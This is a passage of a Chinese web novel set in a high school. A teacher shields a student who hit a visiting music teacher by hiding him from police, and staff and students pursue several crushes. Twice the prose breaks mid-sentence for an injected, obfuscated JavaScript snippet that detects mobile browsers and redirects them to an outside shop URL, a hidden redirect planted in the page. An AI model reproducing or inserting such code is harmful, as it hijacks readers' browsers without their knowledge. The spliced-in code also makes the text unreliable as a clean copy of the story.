“也没这么严重吧……”李知难不懂他突然变换的态度。 李北辰再次扯开了自己的衣服:“也许我里面的骨头断掉了呢?” “那你还怎么可能这么平静跟我说话……”李知难扯了扯嘴角,“李北辰,你先把衣服拉上。” 李北辰不动作。 李知难打着马虎眼道:“这事,我肯定会说他的,你放心。” 李北辰不上钩:“我不放心,不报警是吧?那李老师觉得给他什么处分合适?休学?记过?严重警告?” “有这个必要吗?他还是个孩子……” “他又不是我的孩子。”李北辰一改平日的温柔体面,咄咄逼人地回道。 李知难面露难色,却也知道他醉翁之意不在酒,道:“李北辰,你不是这种性格,我知道我刚才的举动让你难堪了,我给你道歉,但你不要把对我的意见发泄到学生身上,他才十几岁,背个处分以后会有很多麻烦。” “那李老师觉得怎么处理合适?”李北辰反问道。 李知难:“我让他给你赔礼道歉,让他写检查,让他做点苦活累活,总之,一定会让他意识到自己这次的错误。” “就这些?” 李知难动之以情晓之以理:“你也是做过学生的,这些惩罚远比挨个处分更有意义,他们这么大的孩子,根本不觉得处分是什么大事,反倒是这些事,才真能他们长记性。” 李北辰低着头,回道:“李老师是觉得我挨的打不够疼?” 李知难不知道如何回答。 李北辰继续道:“如果今天事情反过来,是我这样打了他,李老师还会这么轻描淡写吗?” 李知难没答,但脸上也写了答案。 李北辰轻笑了下,带了些苦意,又有些自嘲:“说到底,对于不在乎的人,什么都是小事。” “李……”李知难还没将他的名字叫出口,李北辰已经收拾好衣着,走出了办公室。 待李知难回到礼堂时,里面只剩曲子格一人。她仰着一张八卦脸:“你误会人家李北辰了,是咱们校草一怒为红颜呢。” “穆婷婷?” “说穆婷婷排练完之后哭来着,具体因为什么不清楚,但是这帮孩子传着传着,就变成李北辰欺负穆婷婷了。”曲子格道,“你也知道咱们这地方,一分假都能传成十分真。” 听罢,李知难带着满肚子的火,挥舞着雄赳赳气昂昂跨过鸭绿江的气势,带着她隐形的砍刀冲回了办公室。 那里站着的是待宰的羔羊——秦梓轩。 李知难吼道:“秦梓轩!你别念了!你退学吧!我这儿放不下你这尊大佛!” “老师我错了。”秦梓轩没灵魂地道歉。 “你错什么了?你没错!我错了!我压根就不该管你!”李知难气冲冲道。 曲子格在外面啃着不知道什么时候放到手里的苹果,自言自语道:“啧啧,还是这套词。” 李知难敲着桌子:“你知不知道这事往严重里说,你可以直接看守所蹲着去?” “老师对不起。” “你跟我说对不起有用吗?你有胆子拿椅子砸人,就应该想到最严重的后果。” “……”这回秦梓轩连假模假式的道歉也省了。以他对李知难的了解,现在说什么都不好使,她在气头上,只能等她先消气。 曲子格苹果才啃两口,等着李知难再长句输出,余光却看到楼下来了警车,那红蓝光一晃一晃地吸引了很多学生的注意,她立刻意识到:坏了。 曲子格没敲门,直接进去道:“知难,警察来了。” “他……报警了?”李知难下意识将拳头攥了起来。 “李老师。”秦梓轩这时似乎才意识到害怕,有些紧张地看着李知难。 “你带他去你办公室,”李知难安排道,“别人问就说不知道他在哪。” 曲子格拉着秦梓轩就要走,当下只剩下他自己不明白什么意思。 “走啊!”李知难直接对着他脑门来了不轻不重地一下,“这时候傻在这儿干嘛!不走等着蹲监狱呢!” 秦梓轩跟着曲子格离开了办公室,李知难急忙往楼下跑,果然在楼道处迎上了。 “小张警官。”李知难热情地打了招呼。张蔷警官原先也是本校的学生,大学毕业后去了警校,去年分到了这片儿,平时也经常来学校走动,负责法治宣讲的内容。 “李老师。”张蔷礼貌回应。 “今天怎么来了?”她明知故问道。 “听说学生动手了。”张蔷也没隐瞒。 “嗨,也不是什么大事……”她试图打着马虎眼。 张蔷表情正经:“李老师,打老师还不是大事?” 李知难支吾回道:“打的也不是真的老师……” 张蔷打断道:“李老师,您这话可就有点不中听了。” 李知难眼神慌乱,她也知道自己有些口不择言,只道:“小张警官,这样,你给我点时间,我去跟那边谈谈,做做工作,内部能解决就内部解决,也不给你添麻烦好不好?” 张蔷面露难色:“我这出警就得写报告,您不能让我难做。” “你放心,我不会为难你的。”李知难这边安抚完,立刻掏出手机,头一回主动拨了李北辰电话。 “你在哪?”她问。 “正准备走。”他答。 “你在车库等我。”她命令道。 “好。”他应。 地下车库内,李知难一把拉住了李北辰,三五下便将他拉上了车。 11. 李知难的爱情 车飞快地开离了学校,两人默契地谁也没开口。直到校门口远得看不到,李北辰才出声。 “李老师这是想带我去哪儿?”他侧头看着一言不发的她。 “我送你回家。”李知难答。 “我身上还带着伤呢。”他故意道。 “我给你处理,我有经验。”李知难当下只想着,不能给他时间录口供,也不能让他去医院,万一留下书面证据,以后对秦梓轩都会是麻烦。 李北辰也猜出了她的打算,但却心甘情愿陪着她欲盖弥彰,问道:“李老师这是要绑架我?” 李知难扯了扯嘴角,回:“怎么能呢,我这是关心你,帮助你。” “帮谁您心里清楚。”他挑了挑眉毛。 “李北辰,”李知难目视前方,“秦梓轩的情况有些特殊。” “是么……” “我知道这话听起来像是帮他辩解,但是他的情况确实不一样。”李知难舔了舔嘴唇,“他家庭很困难。” “李老师是想让我同情他?” “我给你讲个故事吧。”李知难将车停到了路边,深呼了一口气。 李北辰也坐正,回道:“好。” “秦梓轩……学习好,长得帅,各方面都很出色。但他是单亲家庭,他妈妈是残疾人,吃低保的。青春期的孩子,做事不过脑子,心理不成熟。可他不是个坏孩子,他放学后帮他妈干活,偷摸打零工赚钱,他是懂事的。只是自卑和骄傲对他来说都太极端了,所以他这个孩子拧拧巴巴的。 再加上那个女孩,穆婷婷,他俩关系也有些特殊。 穆婷婷的成绩不算太好,是交了择校费调剂到我们学校的,她爸本事挺大,学校里能跟穆婷婷沾边的老师,基本上她爸的秘书都跑了个遍。人家也不送那种让你回绝得了的礼,送的都是人情世故、及时雨,好多事你都来不及说不要,人家就给你办了。 她爸爸当时也联系了我,我就问他,要不要资助一下学校的优秀学生。 这事我也和秦梓轩家里明白讲过,让他们自己选择接不接受,秦梓轩最后接受了,但是要求必须匿名,穆婷婷爸爸明白事理,所以他和穆婷婷原本单纯的同学关系,就多了这么一层。 穆婷婷是怎么想秦梓轩的我不知道,他们私下什么关系我也不知道,穆婷婷甚至可能都不知道这事,但是在秦梓轩心里,她是半个恩人,如果他觉得你,占了穆婷婷什么便宜,那他可能会举动极端一点。” 李北辰想到了那天和穆婷婷的短暂接触。穆婷婷这样的女孩他平常接触得很多,被家人宠大的女孩,略微有些娇气,但心地善良,受到些小委屈不太容易自我消化。那天他看到穆婷婷时,她就已经红着眼睛了,他也不过是习惯性地递了纸巾,询问了一下情况。 “你跟穆婷婷……”李知难说话没说完,就被打断。 李北辰:“李老师觉得我是那种人?” “当然不是,我就是怕你有些无意的举动,被刻意解读。”李知难解释。 “我明白了,我以后会避嫌的。”李北辰不愿意将女孩的隐私泄露,只这样回道。 李知难从一旁拿出了急救箱,指了指他的肩膀:“我给你擦擦药吧。” 李北辰侧头看向她:“李老师是关心我,还是怕我去医院留证据?” “你不会那样对他的。”李知难边说边打开了药箱。 “您怎么知道?” 她手上有些犹豫,但还是诚实回答:“他只是暗恋一个女生,我觉得我们过来人都能理解。” 她向李北辰弯了弯手掌,示意他过来些。李北辰听话地将衣服扯开,半个肩膀凑了过去。李知难手上的纱棉轻缓地落在他的肩头,一时间,他也不知道那触觉是酸涩还是肿胀,只让他木得一动也不敢动。 李知难将伤口处理好,贴了些活血化瘀的膏药,收拾妥当后方才小声道:“李北辰,你会原谅他的,对吧?” “如果我原谅不了呢?”他不肯松口。 李知难:“那你想让我怎么做,怎么做你怎么才能消气,你说出来,我都能做到。” 车内空间不大,李北辰本离她不远,却突然向后撤了半个身子,挑衅似的开口道:“下跪也能做到?” 李知难不敢相信他盯着这张脸,说出了这样市痞流氓的话。 他看起来认真,像是笃定了她不可能做。 半晌后,她点了点头:“行。” 李知难将手里的东西放到一边,丝毫没有犹豫,单手拉开了车门。 李北辰下意识上前,将身形不稳的她拉住,左手紧紧地攥着她的胳膊,连她试图挣脱也挣不开。 “你能陪我坐一会儿吗?”他低声道,“就一会儿,一会儿就行。” 李知难被这话叫停了力气。 李北辰心里一直认为自己是特殊的。 她曾经为了让他免于责罚,跪在别人家长面前,恳切地哀求:“北辰年纪还小,求您二位再给他一次机会吧。” 他记得,那时她事后分明哭着鼻子梗着脖子,捡起因为自己摔碎的尊严,狠狠道:“这辈子我再也不会做这么掉价儿的事!” “哎,你这不也是为了学生……”旁边的孙书维劝导。 “为了谁我他妈也不会了!”她咒骂着,揉着自己的膝盖骨。 办公室外,李北辰心底湿漉漉的一片。那是揉杂着太多情感的潮湿,对她的感激,对她的爱意,对自己的失望,对当下的无能为力,和对这种情况下,她维护自己的雀跃。这份潮湿沉在他心底这么多年,光照不进,风吹不干。 她那时明明是这么说的,她的第一次和最后一次,都只会为了李北辰,可怎么几年不见,话就不算数了。 李北辰是方才刚刚意识到,她其实对所有的学生都这样,自己并不是特例。可笑的是,如果自己不是特例,那就连最后一点用来自我安慰的残渣,也没得可嚼了。 “李北辰,”李知难开口道,“我……” 我结婚了。她想说这句。 “我知道。”他没等她把说完。他当然知道这件事,甚至清楚地知道她结婚的日子,她孩子出生的日子。 “我跟你……”李知难有些为难。 不可能。 李北辰仍是抢了她的话:“我知道。” “我们以后还要一起共事,我不希望……” “对不起李老师,我也许是有些触景生情,所以做事欠考虑了,对不起,我以后不会了。”他换回了最开始周全的态度,温声保证。 从学生嘴里听到“对不起”、“我以后不会了”这种话,是李知难的日常,光是今天就听了好几遍,可偏偏他嘴里说出的这句,最真诚。 “秦梓轩这事……” “我不会追究了。” “谢谢。” “明天是公布音乐剧入围名单的日子,他原本是最合适的男主角。”李北辰道,“您觉得我应该选他吗?” 李知难:“我相信你是专业的,不会公私不分。” “哦。”李北辰点了点头。 “不过,我还有一个学生,叫赵星移,你能不能帮我找个小配角安排一下?”李知难突然想到了上午另一场架的事情。 李北辰低着头轻笑,方才还说什么专业,公私分明,转眼就自己破了自己的功。可他还是恭敬回道:“知道了。” 第二天,无故早退的李知难先是在年级组长那里领了顿骂,才扒拉两口早饭,就看到了门口的熟人,慌忙跑过去招呼道:“小张警官怎么又来了?” 张蔷举了举手中的单子:“昨天出警缺个签字,那位老师今天在吗?” “不……”李知难话还没说完,只看张蔷的视线透过了自己,望向了后面,惊讶道:“你是……李北辰?” 李北辰思索了一会儿,试谈回道:“……张蔷?” “你们是同学?”李知难左右打量。 张蔷脸微微有些红,点了点头回道:“高中文理分班前在过一个班,没想到你还记得我。” “老同学,当然会记得。”李北辰礼貌回道,“你不是也认出我了?” 张蔷看着现在的他,和当时的大眼睛白皮肤的周正娃娃已经大变了样,是个走在人堆里都出挑的青年才俊,感慨道:“我当然能认出来,我那时候还暗恋过你呢!” “我?”李北辰有些意外。 张蔷点头:“对啊,就有一次我不是被打流血了嘛?是你抱我去的医务室。” 李北辰摇了摇头,回道:“是吗?我都不记得了。” “那你现在有女朋友吗?”张蔷顺嘴问道。 李知难在一旁听着这对话,有些惊讶于张蔷的激进。现在的年轻人都这么直接的吗? “没有。”李北辰看着李知难回答。 “那下班一块儿叙叙旧去?”张蔷邀请。 “好。”李北辰仍旧是看着李知难,点了点头。 到底是高中校园,甭管是学生的消息,还是老师的消息,在这个地方都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427796|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传得飞快,午休时,奚西就已经和八卦的曲子格一起在办公室啃着红烧鸡块聊上了。 奚西见她走进来,当她是半个知情者,询问道:“李老师,这个小张警官什么情况啊?” “我也不太熟……”李知难答。 “看上我师哥了?”她问。 “我也不太清楚……” 曲子格道:“看上也不意外,李北辰长得帅,我看了我也惦记。不过小张警官可以啊,以前没看出来这么有胆量,我辈楷模!” 奚西摇头道:“不过,她应该不是我师哥的菜。” “哦?”李知难好奇抬起了头。 曲子格:“对啊,你们以前一个学校的,李北辰以前谈没谈过对象?” 奚西继续摇头:“我师哥特别纯情,以前我们系好多女孩追过他,但是都没有成的。” “是么……”李知难有些不太想听下去,又忍不住想听下去。 曲子格疑惑道:“二十出头的小伙子,不可能这么素吧?又不是和尚,我不信。” 奚西想了想:“倒是有一个……不知道算不算。” 她话还没说完,李知难从饭盒中抬起了头:“嗯?” “不知道算不算,我师哥当年被导师劈头盖脸骂的时候,那位姐姐挺身而出,跟个女骑士一样,把我师哥护在后面。在我们系,没人敢跟我们导师叫板,她也因为这事被挂了,好惨才毕业的。不过这可能就是不入虎穴,焉得虎子的谈恋爱版,舍不得孩子套不着狼,舍不得学位套不着情郎,他们俩这事在我们学校挺有名的。” 李知难不明白自己心底这奇怪的感觉是从哪冒出来的,“是么?后来呢?” “他们关系很好,但是也没有谈恋爱吧,至少我知道的版本里,他们就是很亲近的朋友。”奚西答,“不过后来他们毕业了,现在什么情况我就不得而知了,毕竟就算是在谈恋爱,也不可能告诉我们的。” “为什么不能?”李知难不解。 “因为那个女孩的名字叫……”奚西故意停顿,一脸大有文章,“文诗。” “那个女明星?”曲子格夸张地喊道,这个名字李知难只在电视上见到过,人长得很漂亮,毕竟是出现在电视里的人,哪有不漂亮的。 奚西道:“她那时候还不叫文诗,这名字是出道请大师算的。她本名叫文楠楠,我记得那时候我师哥天天楠楠楠楠的,叫得可亲了。” 李知难想到了自己的名字,一股奇怪的感觉萦绕在心头。 “原来他们是一对啊。”李知难自说自话。 倒是……很般配。 “不知道,人家现在不是出道了吗,应该看不上我师哥了吧?”奚西道。 “哦……” 曲子格在旁吐了块鸡骨头:“但是要我说,那是她的损失。” “嗯?” “年少时的喜欢才是最纯最真的,工作之后的那些,多多少少都变味了。”曲子格分享着自己的感情观,“人也只有在那个阶段,才会把感情放在第一位,才会不顾一切地轰轰烈烈。” 李知难看向她,道:“我看你现在也挺轰轰烈烈的。” 曲子格点头:“因为现实可能让你们妥协了,但是它还没有打倒我。” 奚西被逗笑,问道:“我非常赞同曲老师的观点,所以曲老师喜欢什么样的?” 曲子格:“帅的。” 奚西竖起了大拇指,转头问向李知难:“李老师呢?” “她孩子都五岁多了。”曲子格替她回道,“她已经和这个话题无缘了。” “噗——”奚西一口水喷了出来。 “吓着你了?”李知难急忙递纸巾。 奚西尴尬道:“我看您也没带着戒指,您看着也挺年轻的,还以为……” 李知难看了看自己手指,回道:“我们,没买戒指。” “李老师的爱人是一个什么样的人啊?”奚西眯着眼睛好奇,“能拿下李老师这种大美女?” 李知难没答。 “很帅吧?”她看向曲子格。 曲子格摇头。 “谦虚是不是?”奚西不信。 曲子格直白回道:“就是一个普通得不能再普通的路人。” 奚西:“怎么可能!” “你李老师啊,可能是老天爷给她太多了,所以爱情这块儿呢,”曲子格做了个手势,“给她噶掉了。” 奚西:“……” 李知难无奈地笑:“嗯,她说的对。” 12. 放学的夕阳 下午,音乐剧的正式名单公布,一群孩子围在礼堂外的公示栏瞧热闹。 李知难趁着上课的间隙,看到了上面男女主角的名字:王子然,穆婷婷。 也看到了最角落处配角中两个熟悉的名字:邵冲,赵星移。 曲子格看她的眼神复杂,本以为她还会再继续找李北辰争辩,却见她只是耸了耸肩,全盘接受了。 “就这?”曲子格难以置信。 李知难感叹道:“岂能尽如人意,但求无愧于心。” 手机传来通知,要求所有参与音乐剧编剧的老师放学后开会,还有另外一条来自孙书维,叫她有空去趟教务处。 李知难想着应当是昨天邵冲赵星移打架的后续,信息上虽然没催她,她仍是急匆匆赶了过去。 孙书维此时正忙着整理文件,见她这么快就来倒也不意外,简单扼要道:“不是什么大事,但是是他先动的手,我叫他家长今天过来了。” “不是大事还叫家长……”李知难不太赞同她的方式,话里难免透露出情绪。 孙书维从文件中抬起头:“你有你的管理风格,我尊重,但是这不代表你的管理方法就是正确的方法。我们这里只是学校,有了问题必须要和家长同步,孩子是人家的,最后的闭环还是要由家长完成。” 李知难了解孙书维的性格,也服她的理,毕竟让她带走邵冲的原因,就是因为她的公事公办,现在自然没理由再多说什么,甘蔗没有两头甜,她点了点头。 “我看你一会儿有课,邵冲家长来的时候,你就不用过来了,我帮你说。”孙书维道。 李知难更是求之不得,立刻答了谢。 “听说你还帮赵星移安排音乐剧了?”孙书维另问了个新问题。 李知难知道她的意思,含糊地应了声,想混过去。 “东郭先生和狼,这故事不用我讲吧?”孙书维也不揭穿,只话里有话提醒道。 李知难听懂她的话音,道:“我让他写检查了,一会儿给你送过来。” “俩个孩子打架,只请一个家长,按理来说,不太合适。”孙书维抬头看她。 “邵冲先动手的,按理来说是邵冲打人,不能算是两人打架。”李知难生怕她再将自己好不容易判完的案子拿出来重审,下午赵星移人都高高兴兴准备音乐剧去了,她也不想扫孩子的兴。 “行吧。”孙书维心里明白,淡淡地笑了,“回头请我吃饭。” 李知难点头。 放学的铃声才响起,礼堂内就已经热闹一片了。被选中的学生们第一次正式集合,脸上都带着雀跃的期盼。李北辰简单地做了下介绍,就将学生们按照分类归成了几个组,分配了些简单基础的舞台表演内容。 大家头一次被正式操练,兴冲冲地乱作一团。 奚西有会今日人不在场,但她已经提前交代过李北辰:“最多一个小时我就回来,千万看好他们。还有一会儿让邵冲去趟教务处,教务处孙老师找他。” 李北辰对着人群里高人一头的大男孩招呼道:“邵冲同学,你过来一下。” “小李老师。”他热情地打着招呼。 “怎么还加了个小?”李北辰问道。 邵冲很正经地回:“为了把您和我们李老师区分开。” 我们李老师。他说得多顺嘴,好像人理所应当就是他的一样。 李北辰旁敲侧击道:“我听你们同学说,李老师对你特别好?” 邵冲赶紧解释:“您别听她们瞎说,我妈真的没给李老师送过礼。”最近这事弄得他一个头两个大,恨不能见谁都解释两句。 “那李老师为什么对你这么好?”李北辰像是无心一般,顺口接话道。 “因为喜欢我呗。”他玩世不恭地回答,却又把话说得天经地义。 李北辰的脸不注意地拉了下来,语气严肃了些:“这话可不能瞎说。” 邵冲丝毫没意识对面的态度变化,只坚定回道:“我说的是事实。李老师喜欢我怎么了?我也喜欢李老师。” 李北辰声音有些冷:“李老师喜欢你什么?她有家有丈夫,你一个学生,有什么资格这么说?” 邵冲就算再神经大条,这下也看出了端倪,但年轻人不经激,他呛声道:“小李老师您还是海龟呢,思想怎么那么老旧?” “我老旧?”李北辰头一回儿被人用这个词形容。 “对啊!那法国总统还娶了他老师呢。且不说别的,就算李老师结婚了,结婚证上写有效期了嘛?领离婚证也不犯法吧。”邵冲回怼道。 “你觉得李老师会为了你离婚?跟你结婚?”李北辰难以置信地看着他,甚至有点想给这个没轻没重没羞没臊的半大孩子点厉害瞧瞧。 “我当然没这个意思,”邵冲也知道自己话赶话,说得有些离谱,但却毫不掩饰道:“可我总有喜欢她的权利吧。” “什么?” “我是说……” “你有什么权利?” “小李老师……”邵冲被李北辰的态度吓到,在他心目中,这位小李老师是个外人,不是他们学校系统内的,因此说话便有些放肆,可当下看着李北辰的脸色,他不知为何,隐约有些……害怕。 “你凭什么喜欢她?”李北辰追问。 “我……”邵冲不由自主地咽了下唾沫,情绪直白地写在脸上。 李北辰意识到自己当下有些失控,清了清喉咙,道:“你们教务处老师叫你过去一趟。” 邵冲顿时脸色大变,想到孙书维的那张脸,他觉得几十年后到地府去见阎王,也不过如此了。巧的是,和见阎王这事一样,见孙书维也是她要自己三更去,不敢拖拉到五更。邵冲点了点头,垂头丧气地去了教务处。 邵冲妈妈坐在一旁的椅子上。她是个温婉的中年女子,但从外表就能看到年轻时的娇丽和现下家庭的富裕。 “报告。”邵冲在门口喊。 “请进。”孙书维答。 “孙老师……”他低着头,“妈。” “今天请您来呢,主要是想把昨天邵冲在学校里发生的情况和您说一下。”孙书维直奔主题,“他在中午打篮球的时候,因为语言冲突和同学发生了肢体摩擦,不知道他昨天回家有没有跟您说这件事?” 邵妈妈看起来很是镇定,回道:“对不起老师,是我们邵冲的错,对方需要我们怎么赔偿我们都配合……” 邵冲打断了他妈妈的话,气道:“什么就是我的错,我们为什么要赔偿!” “邵冲!”邵妈妈厉声喊了他的名字。 邵冲明显有些委屈:“压根就不是我的错,他先犯贱的。而且他也没什么事,他也打我了啊,凭什么要我赔偿他!” 孙书维看着冲动的邵冲,只道:“你昨天认错的时候可不是这个态度。” 邵冲有些火气上头:“我要是知道您要请我家长,昨天我压根就不会认错!” 孙书维:“所以你这个处理意见里,认错态度良好这一句,我应该给你删掉是不是?” “您不就会用这个威胁我们么?请家长给处分,再不成就停课开除,还有什么新招啊!”邵冲一脸的不服输。 孙书维:“那你觉得你在学校打了人,我不处罚你,还应该奖励你吗?” “我们李老师从来就不用这些下三滥的手段威胁我们!您跟我讲理,可以啊,但是您要是用这种手段逼我妥协,我还就不认了!” “邵冲!”邵妈妈站了起来,上前拉住了他,不许他再口无遮拦。 “孙老师,对不起,他们小孩子说话没轻没重,您有事和我说,我去教育他,您别跟他一般见识。” 孙书维看起来并不脑,淡淡地说:“觉得你们李老师处理得好,是吧?” “就是!”邵冲毕竟比邵妈妈高了大半个头,他梗着脖子耍混蛋,邵妈妈也拦不住。 “那你怎么不想想,你们李老师那天为什么把赵星移拉走,把你交给我呢?” 邵冲被问住。 “如果你的问题不严重,你们李老师为什么要让我来处理?”孙书维继续道,“平常的小打小闹,有需要来教务处的吗?你自己意识不到事情的严重性是吗?” 邵冲愣在原地,反应不过来,邵妈妈接话道:“我意识到了,老师,我会回去教育他的,您放心。” 在接下来的交流中,邵冲再也没开口。他的脑子一直在处理孙书维的那句话,为什么李老师要把赵星移拉走,而把我留给孙老师? 直到邵妈妈那边好话说尽,事情大化小,小化无,邵冲仍旧陷在自己的思绪中,拔不出来。 出了教务处,邵冲的声音小得不能再小:“妈,您给我们班李老师送过礼吗?” 邵妈妈思索,回头道:“算是送过,怎么了?” 他跟在瘦瘦矮矮的妈妈身后,迎着夕阳在同学的注视下走出校园时,一个陌生的想法突然从他脑海中闪出:因为李老师想要避嫌。 夕阳下,校园另一边的操场上,一群招展的少男少女热闹地谈天说地。 被围在中间的女孩笑个不停,旁边的男孩看她的回应,更是兴高采烈地夸张起来,试图让那份笑容在她脸上停留得更久一些。 “穆婷婷,这个给你。”画面突然闯入一个高高的男孩,他有些腼腆地将手中的笔记本递了过去。 “谢谢。”穆婷婷扫量着周围的羡艳目光,有些害羞地回答。 男孩点了点头,转身便走。 她不由从人群中间小跑几步,追上了他,试谈问道:“秦梓轩,你……没事了吧?” “嗯。”他答。 “之前,校外那事,谢谢你。”穆婷婷说道,“那天之后他们没再来骚扰我了,多亏了你。” “不客气。” “你受的伤……”她看着男孩的脸,忍不住问道。 “没事了。”男孩还是不喜欢也不习惯被这么多人直勾勾盯着,简单回答后便大步流星地离开。 周围哄笑的女孩凑过来,试谈问道:“婷婷,秦梓轩跟你是什么情况?” 穆婷婷假装无意回道:“什么什么情况。” 有人起哄道:“我觉得他就像是一个深情男主,在咱们婷婷周围各种默默奉献。” “不是,你们别瞎说。”穆婷婷脸红道。 “大家都能看出来好吧!” 穆婷婷打断了她们的调侃,转头要回礼堂继续音乐剧练习,身旁的女孩一胳膊挽住了她:“你到底喜欢谁啊?” 穆婷婷对苗苗倒是诚实许多:“你说我喜欢谁!” 苗苗回道:“你前一阵跟小李老师那么亲近,我还以为你俩有点啥呢。” 穆婷婷:“小李老师?怎呢可能!” 苗苗:“我们私下推测的,小李老师又是选你当女主,又是弄哭你安慰你,那天你们俩在礼堂好多人都看见了,这不就是……” 穆婷婷正色解释道:“那天我只是心情不好,跟小李老师有什么关系!” 苗苗回:“刚才在舞台练习的时候,你们俩又搂又抱的,不就是小李老师趁机……” 穆婷婷急忙打断了她:“你别闹了好不好,那是排练,而且李老师的手压根没碰到我,你站近一点就能发现了!不信你问奚西老师,上次排练的时候她是负责老师,也是这样练习的!” 苗苗后知后觉道:“我的天!那昨天秦梓轩不就是纯粹地打错人了吗?” 穆婷婷这才反应过来:“等等,秦梓轩昨天打小李老师,是因为我……?” 苗苗点头:“大家议论小李老师和你的事,他正好在旁边。” 穆婷婷突然感觉有些进退两难。 苗苗倒是将八卦味道闻得更深了些:“婷婷,你说秦梓轩这是什么意思啊……” “我不知道。”她摇头。 苗苗像是个小侦探:“他百分百是喜欢你。” 穆婷婷推脱道:“别人没说过的话,不要乱揣测好吧。” 苗苗这才反应过来,两个人简直是闷葫芦凑一对,心里都有对方却谁也不敢说出来,这线索摆在眼前,任谁都能推测出原因,她心一横,道:“行,我现在去找他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427797|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,干嘛呢这是,有胆子打人,没胆子表白吗?” 穆婷婷还没将阻拦的话说出口,苗苗就一溜烟儿地跑远了。 自行车棚内,苗苗截住了正在往外走的秦梓轩。 “秦梓轩,你站住!”她三两步走上前,质问似地:“你是不是喜欢婷婷,今天你给我句准话。” 秦梓轩被他挡住了路,进退不得,但却没有回答。 苗苗是个急性子:“你别不说话啊!是不是?” 秦梓轩左右绕都被她拦住,只沉声道:“麻烦你让一下。” 苗苗不肯:“今天你不说,我就不让了。” 秦梓轩向后推车,又被她拉住了车把。“你怂不怂啊!有胆子为了她打架,没胆子表白吗?你是不是男人!” 秦梓轩被她缠得没办法,索性放下了车子,打算从旁边离开。 苗苗拉住了他的书包:“你今天就给我一个准话,你到底喜不喜欢婷婷?” 秦梓轩半回头,才想往回拉,书包带却在此时突然断了。苗苗急忙松了手,下意识道:“我没使那么大劲儿。” 秦梓轩不由地攥住了拳头。书包本身就旧得不能再旧,她当然不需要使什么劲。他看着自己被拉坏的书包眼底满是厌烦,回道:“不喜欢。” “什么?”苗苗愣住了。 他定身回过头,胡乱地将书包抱在怀里,声音清楚明亮:“我说,我不喜欢穆婷婷。” 在远处观望的女孩傻了眼。 苗苗没明白当下是什么情况,一股脑地往外摆证据:“那你为了她打老师,打流氓,那你还天天给她送笔记,帮她值日,你……” 秦梓轩打断了她的话:“我说了,我不喜欢她,你可以让开了吗?” “那你做这些事是为什么?”苗苗追问。 “我闲的。” 夕阳下,男孩再次推起了自行车,有些狼狈地抱着书包,自顾自地走了,阳光将他的背影拉得很长,却仍旧无法印在另一边偃旗息鼓的女孩身上。 曲子格锁好了体育器材的门,伸了个懒腰算是结束了这一天。才准备回宿舍,路上恰好碰到了新来的物理老师,吴思齐。 她热情地招呼道:“吴老师,下班了?” “呃,嗯。”吴思齐腼腆回答。 “回宿舍吗?一起啊?” “呃,好。”吴思齐嘴上被动地这样说,脸上却露出几分尴尬。 “吴老师挺内向的。”曲子格探头去看他的脸,惹得他将视线急忙闪开。 “嗯。”吴思齐有些不好意思。 “没事,别不好意思,”曲子格一眼就看了出来,“我喜欢内向的。” 吴思齐听罢诧异地抬眼,夕阳明晃晃地挂在前面,他背着光看向她,那双眼睛炯炯有神,像是对日光免疫一般。 “吴老师有女朋友了吗?”曲子格笑着问他。 “没有。”吴思齐老师回答。 “哦,喜欢岁数大的还是小的?”她问。 上次问这话的人是李知难,他对这话有些心理阴影,“曲老师这话什么意思?” “我帮你介绍啊。” “不用了。”心里阴影又重了一层。 “哦,名草有主了?” “没有……” “那干嘛不用介绍呢?” “……” “心有所属了?” “没有……” “那介绍介绍呗,捎带手的事。” 吴思齐被她缠得应答不上,只得点头:“呃,好。” 曲子格拦住了他低头走的步伐:“吴老师,那你觉得我怎么样?” 吴思齐的脸瞬时就红了。 “吴老师,我请你吃个饭呗?”曲子格仍旧笑得大大咧咧,像是此刻的夕阳都闪耀不过她的心情。 李知难在开会的间隙,无意扫过了霞光漫天的窗户。会议室里,各路的老师还在喋喋不休,商量着音乐剧的细节和问题,可她被这夕阳分走了神,忍不住向外多看几眼。 夕阳无限好。便是知道今日的璀璨不多了,才这么毫无保留地将最后的光辉送与人间吗? 她心里想着。 手机突然传来了震动,是关系不算相熟的朋友。 “知难,我在商场里看到一个男的,长得特别像宋乐。” 还有一张算是清楚的照片。 此时,办公室门外传来敲门声,开门的瞬间,余晖映着男人英俊的脸,让本来沉闷无聊的办公室瞬间穿越到了偶像剧里面。 李知难下意识将手机放到了口袋里。 奚西解释:“刚才那个问题,我觉得北辰师哥更专业一点,所以叫他过来研究一下意见。” 李北辰穿着一身风衣,精神抖擞地站在门口,和煦地看着众人。 “李老师,来来来,进来说。”音乐剧英语部分的主要负责人楚老师招呼道,“都是咱们这次音乐会负责的老师,正好一块儿碰一碰。” 李北辰环视一周,点头和大家打招呼,然后自然地走到了李知难身边,坐了下来。 楚老师简单地描述了下问题,大抵是改编后的英文歌词和曲调对应不和谐,需要做出调整。负责改这段台词的李知难方才走了神,当下便模糊道:“这段词用改吗?” 李北辰只匆匆扫过一眼,便应道:“确实有些韵脚对不上,李老师要是不想改词,那我改曲子吧。” 李知难急忙打断道:“别别别,还是我改词吧。” 李北辰侧过头,认真地看着李知难在纸上标记的修改。 余晖仍旧璀璨,奚西无意看向李北辰,却意外地记住了他那一刻的眼神。 